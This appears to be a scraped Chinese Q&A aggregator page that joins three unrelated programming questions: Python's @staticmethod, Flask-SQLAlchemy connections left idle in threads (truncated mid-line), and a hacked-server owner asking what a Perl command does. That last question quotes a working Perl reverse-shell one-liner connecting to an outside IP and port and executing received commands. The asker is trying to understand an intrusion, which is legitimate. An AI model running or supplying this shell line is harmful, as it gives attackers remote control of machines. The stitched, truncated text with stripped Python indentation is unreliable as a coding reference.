我做了这两门课:
class A:
@staticmethod
def f(x):
print("x is", x)
class B:
def f(x):
print("x is", x)
Run Code Online (Sandbox Code Playgroud)
并像这样使用它们:
>>> A.f(1)
x is 1
>>> B.f(1)
x is 1
Run Code Online (Sandbox Code Playgroud)
即使没有装饰器,它看起来也f成为了 B 上的静态方法。为什么我需要装饰器?
当我在线程中查询 Flask-SQLAlchemy 模型时,数据库连接似乎从未关闭。这是一个测试用例:
from threading import Thread
from sqlalchemy.pool import NullPool
from flask_sqlalchemy import SQLAlchemy
from flask import Flask
db = SQLAlchemy()
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///testdb'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_ENGINE_OPTIONS'] = {
'poolclass': NullPool,
}
db.app = app
db.init_app(app)
class TestModel(db.Model):
__tablename__ = "test_table"
id = db.Column(db.Integer, autoincrement=True, primary_key=True)
@app.route('/test-connection')
def test_connection():
def run_test():
models = TestModel.query.all()
print(models)
thread = Thread(target=run_test)
thread.start()
return "OK"
app.run(debug=True, host='0.0.0.0')
Run Code Online (Sandbox Code Playgroud)
当我运行我的路线时,它会idle in transaction在我的 pg_stat_activity 表中永久留下一个查询:
testdb=# select query, state from …Run Code Online (Sandbox Code Playgroud) 我的服务器被黑了,并ps aux显示它现在正在运行此程序:
perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
Run Code Online (Sandbox Code Playgroud)
我不知道Perl ......这个程序在做什么?